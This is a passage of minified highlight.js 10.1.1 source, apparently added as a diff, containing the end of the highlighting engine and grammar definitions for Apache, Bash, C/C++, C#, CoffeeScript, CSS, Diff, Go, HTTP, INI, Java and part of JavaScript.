e.contains.forEach(e=>n.addRule(e.begin,{rule:e,type:"begin"})),e.terminator_end&&n.addRule(e.terminator_end,{type:"end"}),e.illegal&&n.addRule(e.illegal,{type:"illegal"}),n}(l),l}(e)}(E),N="",y=s||_,k={},O=new f.__emitter(f);!function(){for(var e=[],n=y;n!==E;n=n.parent)n.className&&e.unshift(n.className);e.forEach(e=>O.openNode(e))}();var A="",I=0,S=0,B=0,L=!1;try{for(y.matcher.considerAll();;){B++,L?L=!1:(y.matcher.lastIndex=S,y.matcher.considerAll());const e=y.matcher.exec(o);if(!e)break;const n=x(o.substring(S,e.index),e);S=e.index+n}return x(o.substr(S)),O.closeAllNodes(),O.finalize(),N=O.toHTML(),{relevance:I,value:N,language:e,illegal:!1,emitter:O,top:y}}catch(n){if(n.message&&n.message.includes("Illegal"))return{illegal:!0,illegalBy:{msg:n.message,context:o.slice(S-100,S+100),mode:n.mode},sofar:N,relevance:0,value:R(o),emitter:O};if(l)return{illegal:!1,relevance:0,value:R(o),emitter:O,language:e,top:y,errorRaised:n};throw n}}function v(e,n){n=n||f.languages||Object.keys(i);var t=function(e){const n={relevance:0,emitter:new f.__emitter(f),value:R(e),illegal:!1,top:h};return n.emitter.addText(e),n}(e),r=t;return n.filter(T).filter(I).forEach((function(n){var a=m(n,e,!1);a.language=n,a.relevance>r.relevance&&(r=a),a.relevance>t.relevance&&(r=t,t=a)})),r.language&&(t.second_best=r),t}function x(e){return f.tabReplace||f.useBR?e.replace(c,e=>"\n"===e?f.useBR?"<br>":e:f.tabReplace?e.replace(/\t/g,f.tabReplace):e):e}function E(e){let n=null;const t=function(e){var n=e.className+" ";n+=e.parentNode?e.parentNode.className:"";const t=f.languageDetectRe.exec(n);if(t){var r=T(t[1]);return r||(console.warn(g.replace("{}",t[1])),console.warn("Falling back to no-highlight mode for this block.",e)),r?t[1]:"no-highlight"}return n.split(/\s+/).find(e=>p(e)||T(e))}(e);if(p(t))return;S("before:highlightBlock",{block:e,language:t}),f.useBR?(n=document.createElement("div")).innerHTML=e.innerHTML.replace(/\n/g,"").replace(/<br[ /]*>/g,"\n"):n=e;const r=n.textContent,a=t?b(t,r,!0):v(r),i=k(n);if(i.length){const e=document.createElement("div");e.innerHTML=a.value,a.value=O(i,k(e),r)}a.value=x(a.value),S("after:highlightBlock",{block:e,result:a}),e.innerHTML=a.value,e.className=function(e,n,t){var r=n?s[n]:t,a=[e.trim()];return e.match(/\bhljs\b/)||a.push("hljs"),e.includes(r)||a.push(r),a.join(" ").trim()}(e.className,t,a.language),e.result={language:a.language,re:a.relevance,relavance:a.relevance},a.second_best&&(e.second_best={language:a.second_best.language,re:a.second_best.relevance,relavance:a.second_best.relevance})}const N=()=>{if(!N.called){N.called=!0;var e=document.querySelectorAll("pre code");a.forEach.call(e,E)}};function T(e){return e=(e||"").toLowerCase(),i[e]||i[s[e]]}function A(e,{languageName:n}){"string"==typeof e&&(e=[e]),e.forEach(e=>{s[e]=n})}function I(e){var n=T(e);return n&&!n.disableAutodetect}function S(e,n){var t=e;o.forEach((function(e){e[t]&&e[t](n)}))}Object.assign(t,{highlight:b,highlightAuto:v,fixMarkup:x,highlightBlock:E,configure:function(e){f=y(f,e)},initHighlighting:N,initHighlightingOnLoad:function(){window.addEventListener("DOMContentLoaded",N,!1)},registerLanguage:function(e,n){var r=null;try{r=n(t)}catch(n){if(console.error("Language definition for '{}' could not be registered.".replace("{}",e)),!l)throw n;console.error(n),r=h}r.name||(r.name=e),i[e]=r,r.rawDefinition=n.bind(null,t),r.aliases&&A(r.aliases,{languageName:e})},listLanguages:function(){return Object.keys(i)},getLanguage:T,registerAliases:A,requireLanguage:function(e){var n=T(e);if(n)return n;throw Error("The '{}' language is required, but not loaded.".replace("{}",e))},autoDetection:I,inherit:y,addPlugin:function(e){o.push(e)}}),t.debugMode=function(){l=!1},t.safeMode=function(){l=!0},t.versionString="10.1.1";for(const n in _)"object"==typeof _[n]&&e(_[n]);return Object.assign(t,_),t}({})}();"object"==typeof exports&&"undefined"!=typeof module&&(module.exports=hljs);
+hljs.registerLanguage("apache",function(){"use strict";return function(e){var n={className:"number",begin:"\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}(:\\d{1,5})?"};return{name:"Apache config",aliases:["apacheconf"],case_insensitive:!0,contains:[e.HASH_COMMENT_MODE,{className:"section",begin:"</?",end:">",contains:[n,{className:"number",begin:":\\d{1,5}"},e.inherit(e.QUOTE_STRING_MODE,{relevance:0})]},{className:"attribute",begin:/\w+/,relevance:0,keywords:{nomarkup:"order deny allow setenv rewriterule rewriteengine rewritecond documentroot sethandler errordocument loadmodule options header listen serverroot servername"},starts:{end:/$/,relevance:0,keywords:{literal:"on off all deny allow"},contains:[{className:"meta",begin:"\\s\\[",end:"\\]$"},{className:"variable",begin:"[\\$%]\\{",end:"\\}",contains:["self",{className:"number",begin:"[\\$%]\\d+"}]},n,{className:"number",begin:"\\d+"},e.QUOTE_STRING_MODE]}}],illegal:/\S/}}}());
+hljs.registerLanguage("bash",function(){"use strict";return function(e){const s={};Object.assign(s,{className:"variable",variants:[{begin:/\$[\w\d#@][\w\d_]*/},{begin:/\$\{/,end:/\}/,contains:[{begin:/:-/,contains:[s]}]}]});const t={className:"subst",begin:/\$\(/,end:/\)/,contains:[e.BACKSLASH_ESCAPE]},n={className:"string",begin:/"/,end:/"/,contains:[e.BACKSLASH_ESCAPE,s,t]};t.contains.push(n);const a={begin:/\$\(\(/,end:/\)\)/,contains:[{begin:/\d+#[0-9a-f]+/,className:"number"},e.NUMBER_MODE,s]},i=e.SHEBANG({binary:"(fish|bash|zsh|sh|csh|ksh|tcsh|dash|scsh)",relevance:10}),c={className:"function",begin:/\w[\w\d_]*\s*\(\s*\)\s*\{/,returnBegin:!0,contains:[e.inherit(e.TITLE_MODE,{begin:/\w[\w\d_]*/})],relevance:0};return{name:"Bash",aliases:["sh","zsh"],keywords:{$pattern:/\b-?[a-z\._]+\b/,keyword:"if then else elif fi for while in do done case esac function",literal:"true false",built_in:"break cd continue eval exec exit export getopts hash pwd readonly return shift test times trap umask unset alias bind builtin caller command declare echo enable help let local logout mapfile printf read readarray source type typeset ulimit unalias set shopt autoload bg bindkey bye cap chdir clone comparguments compcall compctl compdescribe compfiles compgroups compquote comptags comptry compvalues dirs disable disown echotc echoti emulate fc fg float functions getcap getln history integer jobs kill limit log noglob popd print pushd pushln rehash sched setcap setopt stat suspend ttyctl unfunction unhash unlimit unsetopt vared wait whence where which zcompile zformat zftp zle zmodload zparseopts zprof zpty zregexparse zsocket zstyle ztcp",_:"-ne -eq -lt -gt -f -d -e -s -l -a"},contains:[i,e.SHEBANG(),c,a,e.HASH_COMMENT_MODE,n,{className:"",begin:/\\"/},{className:"string",begin:/'/,end:/'/},s]}}}());
+hljs.registerLanguage("c-like",function(){"use strict";return function(e){function t(e){return"(?:"+e+")?"}var n="(decltype\\(auto\\)|"+t("[a-zA-Z_]\\w*::")+"[a-zA-Z_]\\w*"+t("<.*?>")+")",r={className:"keyword",begin:"\\b[a-z\\d_]*_t\\b"},a={className:"string",variants:[{begin:'(u8?|U|L)?"',end:'"',illegal:"\\n",contains:[e.BACKSLASH_ESCAPE]},{begin:"(u8?|U|L)?'(\\\\(x[0-9A-Fa-f]{2}|u[0-9A-Fa-f]{4,8}|[0-7]{3}|\\S)|.)",end:"'",illegal:"."},e.END_SAME_AS_BEGIN({begin:/(?:u8?|U|L)?R"([^()\\ ]{0,16})\(/,end:/\)([^()\\ ]{0,16})"/})]},i={className:"number",variants:[{begin:"\\b(0b[01']+)"},{begin:"(-?)\\b([\\d']+(\\.[\\d']*)?|\\.[\\d']+)(u|U|l|L|ul|UL|f|F|b|B)"},{begin:"(-?)(\\b0[xX][a-fA-F0-9']+|(\\b[\\d']+(\\.[\\d']*)?|\\.[\\d']+)([eE][-+]?[\\d']+)?)"}],relevance:0},s={className:"meta",begin:/#\s*[a-z]+\b/,end:/$/,keywords:{"meta-keyword":"if else elif endif define undef warning error line pragma _Pragma ifdef ifndef include"},contains:[{begin:/\\\n/,relevance:0},e.inherit(a,{className:"meta-string"}),{className:"meta-string",begin:/<.*?>/,end:/$/,illegal:"\\n"},e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE]},o={className:"title",begin:t("[a-zA-Z_]\\w*::")+e.IDENT_RE,relevance:0},c=t("[a-zA-Z_]\\w*::")+e.IDENT_RE+"\\s*\\(",l={keyword:"int float while private char char8_t char16_t char32_t catch import module export virtual operator sizeof dynamic_cast|10 typedef const_cast|10 const for static_cast|10 union namespace unsigned long volatile static protected bool template mutable if public friend do goto auto void enum else break extern using asm case typeid wchar_t short reinterpret_cast|10 default double register explicit signed typename try this switch continue inline delete alignas alignof constexpr consteval constinit decltype concept co_await co_return co_yield requires noexcept static_assert thread_local restrict final override atomic_bool atomic_char atomic_schar atomic_uchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_ulong atomic_llong atomic_ullong new throw return and and_eq bitand bitor compl not not_eq or or_eq xor xor_eq",built_in:"std string wstring cin cout cerr clog stdin stdout stderr stringstream istringstream ostringstream auto_ptr deque list queue stack vector map set pair bitset multiset multimap unordered_set unordered_map unordered_multiset unordered_multimap priority_queue make_pair array shared_ptr abort terminate abs acos asin atan2 atan calloc ceil cosh cos exit exp fabs floor fmod fprintf fputs free frexp fscanf future isalnum isalpha iscntrl isdigit isgraph islower isprint ispunct isspace isupper isxdigit tolower toupper labs ldexp log10 log malloc realloc memchr memcmp memcpy memset modf pow printf putchar puts scanf sinh sin snprintf sprintf sqrt sscanf strcat strchr strcmp strcpy strcspn strlen strncat strncmp strncpy strpbrk strrchr strspn strstr tanh tan vfprintf vprintf vsprintf endl initializer_list unique_ptr _Bool complex _Complex imaginary _Imaginary",literal:"true false nullptr NULL"},d=[r,e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,i,a],_={variants:[{begin:/=/,end:/;/},{begin:/\(/,end:/\)/},{beginKeywords:"new throw return else",end:/;/}],keywords:l,contains:d.concat([{begin:/\(/,end:/\)/,keywords:l,contains:d.concat(["self"]),relevance:0}]),relevance:0},u={className:"function",begin:"("+n+"[\\*&\\s]+)+"+c,returnBegin:!0,end:/[{;=]/,excludeEnd:!0,keywords:l,illegal:/[^\w\s\*&:<>]/,contains:[{begin:"decltype\\(auto\\)",keywords:l,relevance:0},{begin:c,returnBegin:!0,contains:[o],relevance:0},{className:"params",begin:/\(/,end:/\)/,keywords:l,relevance:0,contains:[e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,a,i,r,{begin:/\(/,end:/\)/,keywords:l,relevance:0,contains:["self",e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,a,i,r]}]},r,e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,s]};return{aliases:["c","cc","h","c++","h++","hpp","hh","hxx","cxx"],keywords:l,disableAutodetect:!0,illegal:"</",contains:[].concat(_,u,d,[s,{begin:"\\b(deque|list|queue|priority_queue|pair|stack|vector|map|set|bitset|multiset|multimap|unordered_map|unordered_set|unordered_multiset|unordered_multimap|array)\\s*<",end:">",keywords:l,contains:["self",r]},{begin:e.IDENT_RE+"::",keywords:l},{className:"class",beginKeywords:"class struct",end:/[{;:]/,contains:[{begin:/</,end:/>/,contains:["self"]},e.TITLE_MODE]}]),exports:{preprocessor:s,strings:a,keywords:l}}}}());
+hljs.registerLanguage("c",function(){"use strict";return function(e){var n=e.getLanguage("c-like").rawDefinition();return n.name="C",n.aliases=["c","h"],n}}());
+hljs.registerLanguage("coffeescript",function(){"use strict";const e=["as","in","of","if","for","while","finally","var","new","function","do","return","void","else","break","catch","instanceof","with","throw","case","default","try","switch","continue","typeof","delete","let","yield","const","class","debugger","async","await","static","import","from","export","extends"],n=["true","false","null","undefined","NaN","Infinity"],a=[].concat(["setInterval","setTimeout","clearInterval","clearTimeout","require","exports","eval","isFinite","isNaN","parseFloat","parseInt","decodeURI","decodeURIComponent","encodeURI","encodeURIComponent","escape","unescape"],["arguments","this","super","console","window","document","localStorage","module","global"],["Intl","DataView","Number","Math","Date","String","RegExp","Object","Function","Boolean","Error","Symbol","Set","Map","WeakSet","WeakMap","Proxy","Reflect","JSON","Promise","Float64Array","Int16Array","Int32Array","Int8Array","Uint16Array","Uint32Array","Float32Array","Array","Uint8Array","Uint8ClampedArray","ArrayBuffer"],["EvalError","InternalError","RangeError","ReferenceError","SyntaxError","TypeError","URIError"]);return function(r){var t={keyword:e.concat(["then","unless","until","loop","by","when","and","or","is","isnt","not"]).filter((e=>n=>!e.includes(n))(["var","const","let","function","static"])).join(" "),literal:n.concat(["yes","no","on","off"]).join(" "),built_in:a.concat(["npm","print"]).join(" ")},i="[A-Za-z$_][0-9A-Za-z$_]*",s={className:"subst",begin:/#\{/,end:/}/,keywords:t},o=[r.BINARY_NUMBER_MODE,r.inherit(r.C_NUMBER_MODE,{starts:{end:"(\\s*/)?",relevance:0}}),{className:"string",variants:[{begin:/'''/,end:/'''/,contains:[r.BACKSLASH_ESCAPE]},{begin:/'/,end:/'/,contains:[r.BACKSLASH_ESCAPE]},{begin:/"""/,end:/"""/,contains:[r.BACKSLASH_ESCAPE,s]},{begin:/"/,end:/"/,contains:[r.BACKSLASH_ESCAPE,s]}]},{className:"regexp",variants:[{begin:"///",end:"///",contains:[s,r.HASH_COMMENT_MODE]},{begin:"//[gim]{0,3}(?=\\W)",relevance:0},{begin:/\/(?![ *]).*?(?![\\]).\/[gim]{0,3}(?=\W)/}]},{begin:"@"+i},{subLanguage:"javascript",excludeBegin:!0,excludeEnd:!0,variants:[{begin:"```",end:"```"},{begin:"`",end:"`"}]}];s.contains=o;var c=r.inherit(r.TITLE_MODE,{begin:i}),l={className:"params",begin:"\\([^\\(]",returnBegin:!0,contains:[{begin:/\(/,end:/\)/,keywords:t,contains:["self"].concat(o)}]};return{name:"CoffeeScript",aliases:["coffee","cson","iced"],keywords:t,illegal:/\/\*/,contains:o.concat([r.COMMENT("###","###"),r.HASH_COMMENT_MODE,{className:"function",begin:"^\\s*"+i+"\\s*=\\s*(\\(.*\\))?\\s*\\B[-=]>",end:"[-=]>",returnBegin:!0,contains:[c,l]},{begin:/[:\(,=]\s*/,relevance:0,contains:[{className:"function",begin:"(\\(.*\\))?\\s*\\B[-=]>",end:"[-=]>",returnBegin:!0,contains:[l]}]},{className:"class",beginKeywords:"class",end:"$",illegal:/[:="\[\]]/,contains:[{beginKeywords:"extends",endsWithParent:!0,illegal:/[:="\[\]]/,contains:[c]},c]},{begin:i+":",end:":",returnBegin:!0,returnEnd:!0,relevance:0}])}}}());
+hljs.registerLanguage("cpp",function(){"use strict";return function(e){var t=e.getLanguage("c-like").rawDefinition();return t.disableAutodetect=!1,t.name="C++",t.aliases=["cc","c++","h++","hpp","hh","hxx","cxx"],t}}());
+hljs.registerLanguage("csharp",function(){"use strict";return function(e){var n={keyword:"abstract as base bool break byte case catch char checked const continue decimal default delegate do double enum event explicit extern finally fixed float for foreach goto if implicit in int interface internal is lock long object operator out override params private protected public readonly ref sbyte sealed short sizeof stackalloc static string struct switch this try typeof uint ulong unchecked unsafe ushort using virtual void volatile while add alias ascending async await by descending dynamic equals from get global group into join let nameof on orderby partial remove select set value var when where yield",literal:"null false true"},i=e.inherit(e.TITLE_MODE,{begin:"[a-zA-Z](\\.?\\w)*"}),a={className:"number",variants:[{begin:"\\b(0b[01']+)"},{begin:"(-?)\\b([\\d']+(\\.[\\d']*)?|\\.[\\d']+)(u|U|l|L|ul|UL|f|F|b|B)"},{begin:"(-?)(\\b0[xX][a-fA-F0-9']+|(\\b[\\d']+(\\.[\\d']*)?|\\.[\\d']+)([eE][-+]?[\\d']+)?)"}],relevance:0},s={className:"string",begin:'@"',end:'"',contains:[{begin:'""'}]},t=e.inherit(s,{illegal:/\n/}),l={className:"subst",begin:"{",end:"}",keywords:n},r=e.inherit(l,{illegal:/\n/}),c={className:"string",begin:/\$"/,end:'"',illegal:/\n/,contains:[{begin:"{{"},{begin:"}}"},e.BACKSLASH_ESCAPE,r]},o={className:"string",begin:/\$@"/,end:'"',contains:[{begin:"{{"},{begin:"}}"},{begin:'""'},l]},g=e.inherit(o,{illegal:/\n/,contains:[{begin:"{{"},{begin:"}}"},{begin:'""'},r]});l.contains=[o,c,s,e.APOS_STRING_MODE,e.QUOTE_STRING_MODE,a,e.C_BLOCK_COMMENT_MODE],r.contains=[g,c,t,e.APOS_STRING_MODE,e.QUOTE_STRING_MODE,a,e.inherit(e.C_BLOCK_COMMENT_MODE,{illegal:/\n/})];var d={variants:[o,c,s,e.APOS_STRING_MODE,e.QUOTE_STRING_MODE]},E={begin:"<",end:">",contains:[{beginKeywords:"in out"},i]},_=e.IDENT_RE+"(<"+e.IDENT_RE+"(\\s*,\\s*"+e.IDENT_RE+")*>)?(\\[\\])?",b={begin:"@"+e.IDENT_RE,relevance:0};return{name:"C#",aliases:["cs","c#"],keywords:n,illegal:/::/,contains:[e.COMMENT("///","$",{returnBegin:!0,contains:[{className:"doctag",variants:[{begin:"///",relevance:0},{begin:"\x3c!--|--\x3e"},{begin:"</?",end:">"}]}]}),e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,{className:"meta",begin:"#",end:"$",keywords:{"meta-keyword":"if else elif endif define undef warning error line region endregion pragma checksum"}},d,a,{beginKeywords:"class interface",end:/[{;=]/,illegal:/[^\s:,]/,contains:[{beginKeywords:"where class"},i,E,e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE]},{beginKeywords:"namespace",end:/[{;=]/,illegal:/[^\s:]/,contains:[i,e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE]},{className:"meta",begin:"^\\s*\\[",excludeBegin:!0,end:"\\]",excludeEnd:!0,contains:[{className:"meta-string",begin:/"/,end:/"/}]},{beginKeywords:"new return throw await else",relevance:0},{className:"function",begin:"("+_+"\\s+)+"+e.IDENT_RE+"\\s*(\\<.+\\>)?\\s*\\(",returnBegin:!0,end:/\s*[{;=]/,excludeEnd:!0,keywords:n,contains:[{begin:e.IDENT_RE+"\\s*(\\<.+\\>)?\\s*\\(",returnBegin:!0,contains:[e.TITLE_MODE,E],relevance:0},{className:"params",begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,keywords:n,relevance:0,contains:[d,a,e.C_BLOCK_COMMENT_MODE]},e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE]},b]}}}());
+hljs.registerLanguage("css",function(){"use strict";return function(e){var n={begin:/(?:[A-Z\_\.\-]+|--[a-zA-Z0-9_-]+)\s*:/,returnBegin:!0,end:";",endsWithParent:!0,contains:[{className:"attribute",begin:/\S/,end:":",excludeEnd:!0,starts:{endsWithParent:!0,excludeEnd:!0,contains:[{begin:/[\w-]+\(/,returnBegin:!0,contains:[{className:"built_in",begin:/[\w-]+/},{begin:/\(/,end:/\)/,contains:[e.APOS_STRING_MODE,e.QUOTE_STRING_MODE,e.CSS_NUMBER_MODE]}]},e.CSS_NUMBER_MODE,e.QUOTE_STRING_MODE,e.APOS_STRING_MODE,e.C_BLOCK_COMMENT_MODE,{className:"number",begin:"#[0-9A-Fa-f]+"},{className:"meta",begin:"!important"}]}}]};return{name:"CSS",case_insensitive:!0,illegal:/[=\/|'\$]/,contains:[e.C_BLOCK_COMMENT_MODE,{className:"selector-id",begin:/#[A-Za-z0-9_-]+/},{className:"selector-class",begin:/\.[A-Za-z0-9_-]+/},{className:"selector-attr",begin:/\[/,end:/\]/,illegal:"$",contains:[e.APOS_STRING_MODE,e.QUOTE_STRING_MODE]},{className:"selector-pseudo",begin:/:(:)?[a-zA-Z0-9\_\-\+\(\)"'.]+/},{begin:"@(page|font-face)",lexemes:"@[a-z-]+",keywords:"@page @font-face"},{begin:"@",end:"[{;]",illegal:/:/,returnBegin:!0,contains:[{className:"keyword",begin:/@\-?\w[\w]*(\-\w+)*/},{begin:/\s/,endsWithParent:!0,excludeEnd:!0,relevance:0,keywords:"and or not only",contains:[{begin:/[a-z-]+:/,className:"attribute"},e.APOS_STRING_MODE,e.QUOTE_STRING_MODE,e.CSS_NUMBER_MODE]}]},{className:"selector-tag",begin:"[a-zA-Z-][a-zA-Z0-9_-]*",relevance:0},{begin:"{",end:"}",illegal:/\S/,contains:[e.C_BLOCK_COMMENT_MODE,n]}]}}}());
+hljs.registerLanguage("diff",function(){"use strict";return function(e){return{name:"Diff",aliases:["patch"],contains:[{className:"meta",relevance:10,variants:[{begin:/^@@ +\-\d+,\d+ +\+\d+,\d+ +@@$/},{begin:/^\*\*\* +\d+,\d+ +\*\*\*\*$/},{begin:/^\-\-\- +\d+,\d+ +\-\-\-\-$/}]},{className:"comment",variants:[{begin:/Index: /,end:/$/},{begin:/={3,}/,end:/$/},{begin:/^\-{3}/,end:/$/},{begin:/^\*{3} /,end:/$/},{begin:/^\+{3}/,end:/$/},{begin:/^\*{15}$/}]},{className:"addition",begin:"^\\+",end:"$"},{className:"deletion",begin:"^\\-",end:"$"},{className:"addition",begin:"^\\!",end:"$"}]}}}());
+hljs.registerLanguage("go",function(){"use strict";return function(e){var n={keyword:"break default func interface select case map struct chan else goto package switch const fallthrough if range type continue for import return var go defer bool byte complex64 complex128 float32 float64 int8 int16 int32 int64 string uint8 uint16 uint32 uint64 int uint uintptr rune",literal:"true false iota nil",built_in:"append cap close complex copy imag len make new panic print println real recover delete"};return{name:"Go",aliases:["golang"],keywords:n,illegal:"</",contains:[e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,{className:"string",variants:[e.QUOTE_STRING_MODE,e.APOS_STRING_MODE,{begin:"`",end:"`"}]},{className:"number",variants:[{begin:e.C_NUMBER_RE+"[i]",relevance:1},e.C_NUMBER_MODE]},{begin:/:=/},{className:"function",beginKeywords:"func",end:"\\s*(\\{|$)",excludeEnd:!0,contains:[e.TITLE_MODE,{className:"params",begin:/\(/,end:/\)/,keywords:n,illegal:/["']/}]}]}}}());
+hljs.registerLanguage("http",function(){"use strict";return function(e){var n="HTTP/[0-9\\.]+";return{name:"HTTP",aliases:["https"],illegal:"\\S",contains:[{begin:"^"+n,end:"$",contains:[{className:"number",begin:"\\b\\d{3}\\b"}]},{begin:"^[A-Z]+ (.*?) "+n+"$",returnBegin:!0,end:"$",contains:[{className:"string",begin:" ",end:" ",excludeBegin:!0,excludeEnd:!0},{begin:n},{className:"keyword",begin:"[A-Z]+"}]},{className:"attribute",begin:"^\\w",end:": ",excludeEnd:!0,illegal:"\\n|\\s|=",starts:{end:"$",relevance:0}},{begin:"\\n\\n",starts:{subLanguage:[],endsWithParent:!0}}]}}}());
+hljs.registerLanguage("ini",function(){"use strict";function e(e){return e?"string"==typeof e?e:e.source:null}function n(...n){return n.map(n=>e(n)).join("")}return function(a){var s={className:"number",relevance:0,variants:[{begin:/([\+\-]+)?[\d]+_[\d_]+/},{begin:a.NUMBER_RE}]},i=a.COMMENT();i.variants=[{begin:/;/,end:/$/},{begin:/#/,end:/$/}];var t={className:"variable",variants:[{begin:/\$[\w\d"][\w\d_]*/},{begin:/\$\{(.*?)}/}]},r={className:"literal",begin:/\bon|off|true|false|yes|no\b/},l={className:"string",contains:[a.BACKSLASH_ESCAPE],variants:[{begin:"'''",end:"'''",relevance:10},{begin:'"""',end:'"""',relevance:10},{begin:'"',end:'"'},{begin:"'",end:"'"}]},c={begin:/\[/,end:/\]/,contains:[i,r,t,l,s,"self"],relevance:0},g="("+[/[A-Za-z0-9_-]+/,/"(\\"|[^"])*"/,/'[^']*'/].map(n=>e(n)).join("|")+")";return{name:"TOML, also INI",aliases:["toml"],case_insensitive:!0,illegal:/\S/,contains:[i,{className:"section",begin:/\[+/,end:/\]+/},{begin:n(g,"(\\s*\\.\\s*",g,")*",n("(?=",/\s*=\s*[^#\s]/,")")),className:"attr",starts:{end:/$/,contains:[i,c,r,t,l,s]}}]}}}());
+hljs.registerLanguage("java",function(){"use strict";function e(e){return e?"string"==typeof e?e:e.source:null}function n(e){return a("(",e,")?")}function a(...n){return n.map(n=>e(n)).join("")}function s(...n){return"("+n.map(n=>e(n)).join("|")+")"}return function(e){var t="false synchronized int abstract float private char boolean var static null if const for true while long strictfp finally protected import native final void enum else break transient catch instanceof byte super volatile case assert short package default double public try this switch continue throws protected public private module requires exports do",i={className:"meta",begin:"@[À-ʸa-zA-Z_$][À-ʸa-zA-Z_$0-9]*",contains:[{begin:/\(/,end:/\)/,contains:["self"]}]},r=e=>a("[",e,"]+([",e,"_]*[",e,"]+)?"),c={className:"number",variants:[{begin:`\\b(0[bB]${r("01")})[lL]?`},{begin:`\\b(0${r("0-7")})[dDfFlL]?`},{begin:a(/\b0[xX]/,s(a(r("a-fA-F0-9"),/\./,r("a-fA-F0-9")),a(r("a-fA-F0-9"),/\.?/),a(/\./,r("a-fA-F0-9"))),/([pP][+-]?(\d+))?/,/[fFdDlL]?/)},{begin:a(/\b/,s(a(/\d*\./,r("\\d")),r("\\d")),/[eE][+-]?[\d]+[dDfF]?/)},{begin:a(/\b/,r(/\d/),n(/\.?/),n(r(/\d/)),/[dDfFlL]?/)}],relevance:0};return{name:"Java",aliases:["jsp"],keywords:t,illegal:/<\/|#/,contains:[e.COMMENT("/\\*\\*","\\*/",{relevance:0,contains:[{begin:/\w+@/,relevance:0},{className:"doctag",begin:"@[A-Za-z]+"}]}),e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,e.APOS_STRING_MODE,e.QUOTE_STRING_MODE,{className:"class",beginKeywords:"class interface",end:/[{;=]/,excludeEnd:!0,keywords:"class interface",illegal:/[:"\[\]]/,contains:[{beginKeywords:"extends implements"},e.UNDERSCORE_TITLE_MODE]},{beginKeywords:"new throw return else",relevance:0},{className:"function",begin:"([À-ʸa-zA-Z_$][À-ʸa-zA-Z_$0-9]*(<[À-ʸa-zA-Z_$][À-ʸa-zA-Z_$0-9]*(\\s*,\\s*[À-ʸa-zA-Z_$][À-ʸa-zA-Z_$0-9]*)*>)?\\s+)+"+e.UNDERSCORE_IDENT_RE+"\\s*\\(",returnBegin:!0,end:/[{;=]/,excludeEnd:!0,keywords:t,contains:[{begin:e.UNDERSCORE_IDENT_RE+"\\s*\\(",returnBegin:!0,relevance:0,contains:[e.UNDERSCORE_TITLE_MODE]},{className:"params",begin:/\(/,end:/\)/,keywords:t,relevance:0,contains:[i,e.APOS_STRING_MODE,e.QUOTE_STRING_MODE,e.C_NUMBER_MODE,e.C_BLOCK_COMMENT_MODE]},e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE]},c,i]}}}());
+hljs.registerLanguage("javascript",function(){"use strict";const e=["as","in","of","if","for","while","finally","var","new","function","do","return","void","else","break","catch","instanceof","with","throw","case","default","try","switch","continue","typeof","delete","let","yield","const","class","debugger","async","await","static","import","from","export","extends"],n=["true","false","null","undefined","NaN","Infinity"],a=[].concat(["setInterval","setTimeout","clearInterval","clearTimeout","require","exports","eval","isFinite","isNaN","parseFloat","parseInt","decodeURI","decodeURIComponent","encodeURI","encodeURIComponent","escape","unescape"],["arguments","this","super","console","window","document","localStorage","module","global"],["Intl","DataView","Number","Math","Date","String","RegExp","Object","Function","Boolean","Error","Symbol","Set","Map","WeakSet","WeakMap","Proxy","Reflect","JSON","Promise","Float64Array","Int16Array","Int32Array","Int8Array","Uint16Array","Uint32Array","Float32Array","Array","Uint8Array","Uint8ClampedArray","ArrayBuffer"],["EvalError","InternalError","RangeError","ReferenceError","SyntaxError","TypeError","URIError"]);function s(e){return r("(?=",e,")")}function r(...e){return e.map(e=>(function(e){return e?"string"==typeof e?e:e.source:null})(e)).join("")}return function(t){var i="[A-Za-z$_][0-9A-Za-z$_]*",c={begin:/<[A-Za-z0-9\\._:-]+/,end:/\/[A-Za-z0-9\\._:-]+>|\/>/},o={$pattern:"[A-Za-z$_][0-9A-Za-z$_]*",keyword:e.join(" "),literal:n.join(" "),built_in:a.join(" ")},l={className:"number",variants:[{begin:"\\b(0[bB][01]+)n?"},{begin:"\\b(0[oO][0-7]+)n?"},{begin:t.C_NUMBER_RE+"n?"}],relevance:0},E={className:"subst",begin:"\\$\\{",end:"\\}",keywords:o,contains:[]},d={begin:"html`",end:"",starts:{end:"`",returnEnd:!1,contains:[t.BACKSLASH_ESCAPE,E],subLanguage:"xml"}},g={begin:"css`",end:"",starts:{end:"`",returnEnd:!1,contains:[t.BACKSLASH_ESCAPE,E],subLanguage:"css"}},u={className:"string",begin:"`",end:"`",contains:[t.BACKSLASH_ESCAPE,E]};E.contains=[t.APOS_STRING_MODE,t.QUOTE_STRING_MODE,d,g,u,l,t.REGEXP_MODE];var b=E.contains.concat([{begin:/\(/,end:/\)/,contains:["self"].concat(E.contains,[t.C_BLOCK_COMMENT_MODE,t.C_LINE_COMMENT_MODE])},t.C_BLOCK_COMMENT_MODE,t.C_LINE_COMMENT_MODE]),_={className:"params",begin:/\(/,end:/\)/,excludeBegin:!0,excludeEnd:!0,contains:b};return{name:"JavaScript",aliases:["js","jsx","mjs","cjs"],keywords:o,contains:[t.SHEBANG({binary:"node",relevance:5}),{className:"meta",relevance:10,begin:/^\s*['"]use 